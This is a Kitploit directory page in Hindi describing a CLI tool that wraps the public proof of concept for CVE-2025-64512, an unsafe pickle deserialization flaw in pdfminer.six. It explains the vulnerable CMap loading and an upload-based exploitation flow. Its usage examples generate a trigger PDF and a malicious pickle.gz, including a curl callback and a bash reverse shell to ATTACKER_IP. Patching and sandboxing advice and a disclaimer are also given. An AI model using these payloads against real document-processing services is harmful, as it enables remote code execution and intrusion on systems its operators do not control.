Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-64512 — CLI रैपर CVE-2025-64512 PoC के लिए जो दुर्भावनापूर्ण PDF और pickle.gz पेलोड उत्पन्न करता है, pdfminer.six में असुरक्षित डिसीरियलाइज़ेशन का शोषण करने के लिए, तैयार की गई PDF प्रोसेसिंग के माध्यम से रिमोट कोड निष्पादन को सक्षम बनाता है। | Kitploit
उपकरण/GitHubGitHub/bardlaudian/cve-2025-64512
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubbardlaudian/cve-2025-64512

CVE-2025-64512

CLI रैपर CVE-2025-64512 PoC के लिए जो दुर्भावनापूर्ण PDF और pickle.gz पेलोड उत्पन्न करता है, pdfminer.six में असुरक्षित डिसीरियलाइज़ेशन का शोषण करने के लिए, तैयार की गई PDF प्रोसेसिंग के माध्यम से रिमोट कोड निष्पादन को सक्षम बनाता है।

रिपॉजिटरी देखें
121 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-64512 — pdfminer.six में असुरक्षित डिसीरियलाइज़ेशन (Pickle) बनावटी PDF के ज़रिए

Python CVE Platform

⚠️ अस्वीकरण: यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत पेनिट्रेशन परीक्षण के लिए है। इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। अनधिकृत उपयोग अवैध है।


विषय-सूची

  • अवलोकन
  • भेद्यता विवरण
  • यह कैसे काम करता है
  • आवश्यकताएँ
  • स्थापना
  • उपयोग
  • उदाहरण
  • शमन के उपाय
  • क्रेडिट
  • संदर्भ

अवलोकन

pdfminer.six एक व्यापक रूप से उपयोग की जाने वाली Python लाइब्रेरी है जो PDF फ़ाइलों से टेक्स्ट और मेटाडेटा निकालने के लिए है, जो आमतौर पर दस्तावेज़-प्रसंस्करण पाइपलाइनों, CLI उपकरणों और AI/डेटा इंजेक्शन वर्कफ़्लोज़ में एम्बेडेड होती है। प्रभावित संस्करण CJK फ़ॉन्ट समर्थन के लिए CMap (कैरेक्टर-मैप) कैश फ़ाइलों को Python के मॉड्यूल का उपयोग करके लोड करते हैं, बिना यह सत्यापित किए कि हल किया गया पथ अपेक्षित कैश निर्देशिका के भीतर ही रहता है।

pickle

एक विशेष रूप से तैयार की गई PDF इस CMap लुकअप के लिए हमलावर-नियंत्रित पथ का संदर्भ दे सकती है। यदि हमलावर उस हल किए गए पथ पर एक दुर्भावनापूर्ण .pickle.gz फ़ाइल भी रख सकता है (उदाहरण के लिए, सह-स्थित फ़ाइल अपलोड सुविधा के माध्यम से), तो PDF को प्रोसेस करने से pickle.loads() हमलावर-नियंत्रित डेटा पर ट्रिगर होता है, जिसके परिणामस्वरूप मनमाना कोड निष्पादन होता है। यह सटीक तंत्र — जिसमें PoC PDF संरचना भी शामिल है — को आधिकारिक सलाहकार में mtolley द्वारा प्रलेखित किया गया था।

यह रिपॉजिटरी CVE-2025-64512 के लिए GitHub Security Advisory में प्रकाशित आधिकारिक प्रूफ-ऑफ-कॉन्सेप्ट के चारों ओर एक छोटा CLI रैपर है। यह कोई नई शोषण तकनीक प्रस्तुत नहीं करता — दुर्भावनापूर्ण PDF टेम्पलेट स्वयं सलाहकार से लगभग शब्दशः लिया गया है; यह स्क्रिप्ट केवल लक्ष्य पथ, निष्पादित करने के लिए कमांड और आउटपुट फ़ाइल नामों को पैरामीटरीकृत करती है ताकि PoC का पुन: उपयोग करना आसान हो।


भेद्यता विवरण

फ़ील्डमान
CVECVE-2025-64512
प्रभावितpdfminer.six ≤ 20250506 (और markitdown ≤ 0.1.3, pdfplumber ≤ 0.11.7)
प्रकारअसुरक्षित डिसीरियलाइज़ेशन (CWE-502)
विशेषाधिकारकोई नहीं (अनप्रमाणित, यदि PDF प्रसंस्करण उजागर है)
प्रभावमनमाना कोड निष्पादन
पैचpdfminer.six 20251107+

यह कैसे काम करता है

pdfminer.six में CMapDB._load_data() एक CMap नाम — जो PDF फ़ॉन्ट की /Encoding प्रविष्टि से लिया गया है — को एक फ़ाइल पथ में हल करता है, और यदि यह .pickle.gz में समाप्त होता है तो इसे pickle.loads() से लोड करता है। फ़ंक्शन यह सत्यापित नहीं करता कि हल किया गया पथ pdfminer की अपनी cmap/ निर्देशिका के अंदर ही रहता है।

आक्रमण आवश्यकताएँ

  1. एक ट्रिगर PDF जिसका फ़ॉन्ट /Encoding हमलावर द्वारा चुने गए पथ को संदर्भित करता है (URL-एन्कोडेड, / के रूप में #2F)।
  2. एक दुर्भावनापूर्ण .pickle.gz फ़ाइल जो PDF प्रोसेस होने के समय लक्ष्य फ़ाइलसिस्टम पर <उस पथ>.pickle.gz पर मौजूद हो।

दोनों फ़ाइलें आमतौर पर उसी अपलोड चैनल के माध्यम से वितरित की जा सकती हैं जो अंततः pdfminer.six द्वारा प्रोसेस होता है (जैसे दस्तावेज़-इंजेक्शन पाइपलाइन), जब तक कि परिणामी डिस्क-पथ पूर्वानुमान योग्य या खोजे जा सकने वाले हों।

शोषण प्रवाह

root@kitploit:~
1. एक दुर्भावनापूर्ण pickle पेलोड उत्पन्न करें (अनपिकलिंग पर एक कमांड निष्पादित करता है)
2. इसे <नाम>.pickle.gz के रूप में संपीडित करें
3. एक "ट्रिगर" PDF उत्पन्न करें जिसका फ़ॉन्ट /Encoding उस .pickle.gz के पूर्ण लक्ष्य फ़ाइलसिस्टम पथ की ओर इशारा करता है (बिना एक्सटेंशन के)
4. दोनों फ़ाइलों को लक्ष्य पर पहुँचाएँ ताकि वे अपेक्षित पथों पर पहुँचें
5. प्रतीक्षा करें / pdfminer.six (या इस पर निर्मित किसी भी उपकरण, जैसे pdf2txt.py) को ट्रिगर PDF प्रोसेस करने के लिए ट्रिगर करें
6. pickle.loads() पेलोड निष्पादित करता है -> RCE

आवश्यकताएँ

  • Python 3.8+ (केवल मानक लाइब्रेरी — gzip, pickle, argparse)

पेलोड उत्पन्न करने के लिए किसी तृतीय-पक्ष निर्भरता की आवश्यकता नहीं है। लक्ष्य के पास अपलोड की गई PDF को वास्तव में प्रोसेस करने वाला एक भेद्य pdfminer.six (या इस पर निर्भर कोई प्रोजेक्ट) होना चाहिए।


स्थापना

root@kitploit:~
git clone https://github.com/BardLaudian/CVE-2025-64512.git
cd CVE-2025-64512

उपयोग

root@kitploit:~
usage: gen_payload.py [-h] [--pdf-out PDF_OUT] [--gz-out GZ_OUT] --path PATH [--command COMMAND]

options:
  --pdf-out PDF_OUT     ट्रिगर PDF के लिए आउटपुट फ़ाइल नाम (डिफ़ॉल्ट: trigger.pdf)
  --gz-out GZ_OUT       pickle.gz पेलोड के लिए आउटपुट फ़ाइल नाम (डिफ़ॉल्ट: payload.pickle.gz)
  --path PATH, -p PATH  लक्ष्य फ़ाइलसिस्टम पर पूर्ण पथ (बिना .pickle.gz) जहाँ pickle.gz समाप्त होगा,
                         उदा. /var/www/app/uploads/xxxx
  --command COMMAND, -c COMMAND
                        लक्ष्य पर निष्पादित करने का कमांड (डिफ़ॉल्ट: id)

उदाहरण

मूल उपयोग

root@kitploit:~
python3 gen_payload.py \
  --path "/var/www/app/uploads/payload" \
  --command "id > /tmp/pwned" \
  --pdf-out trigger.pdf \
  --gz-out payload.pickle.gz

यह उत्पन्न करता है:

  • payload.pickle.gz — इसे पहले अपलोड करें, .../uploads/payload.pickle.gz पर
  • trigger.pdf — इसे दूसरे स्थान पर अपलोड करें; जैसे ही लक्ष्य इसे pdfminer.six से प्रोसेस करेगा, कमांड चलेगा

नेटवर्क कॉलबैक (फ़ाइलसिस्टम पहुँच के बिना RCE की पुष्टि के लिए उपयोगी)

root@kitploit:~
python3 gen_payload.py \
  --path "/var/www/app/uploads/payload" \
  --command "curl http://ATTACKER_IP:8000/rce-confirmed" \
  --pdf-out trigger.pdf --gz-out payload.pickle.gz

रिवर्स शेल

root@kitploit:~
python3 gen_payload.py \
  --path "/var/www/app/uploads/payload" \
  --command "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
  --pdf-out trigger.pdf --gz-out payload.pickle.gz

शमन के उपाय

  • अपडेट करें pdfminer.six को 20251107 या बाद के संस्करण में (या इसे बंडल करने वाले किसी भी प्रोजेक्ट के पैच किए गए रिलीज़ में, जैसे markitdown ≥ 0.1.4, pdfplumber ≥ 0.11.8)।
  • प्रतिबंधित/सत्यापित करें कोई भी उपयोगकर्ता-अपलोड की गई सामग्री जो pdfminer.six या इस पर निर्मित उपकरणों द्वारा प्रोसेस की जाती है।
  • सैंडबॉक्स PDF-प्रसंस्करण पाइपलाइनें (कंटेनर, seccomp, कोई आउटबाउंड नेटवर्क नहीं) ताकि अनपिकलिंग RCE का विस्फोट दायरा न्यूनतम हो।
  • निगरानी करें दस्तावेज़-प्रसंस्करण सेवाओं द्वारा अप्रत्याशित चाइल्ड प्रक्रियाओं के लिए।

क्रेडिट

  • भेद्यता की खोज और रिपोर्ट: mtolley
  • सलाहकार प्रकाशित: pdfminer.six अनुरक्षकों द्वारा (pietermarsman)
  • मूल PoC (दुर्भावनापूर्ण PDF टेम्पलेट): आधिकारिक GitHub Security Advisory से
  • CLI रैपर / पैरामीटरीकरण: Bardlaudian — आधिकारिक PoC के चारों ओर एक पतली सुविधा रैपर, कोई नई तकनीक नहीं

संदर्भ

  • आधिकारिक GitHub Security Advisory — GHSA-wf5f-4jwr-ppcp (यहाँ प्रयुक्त PoC का स्रोत)
  • pdfminer.six रिपॉजिटरी
  • luigigubello का पॉलीग्लॉट वेरिएंट (एकल-फ़ाइल PDF+pickle.gz ट्रिक, इस रिपो में उपयोग नहीं किया गया)
टूल डाउनलोड करें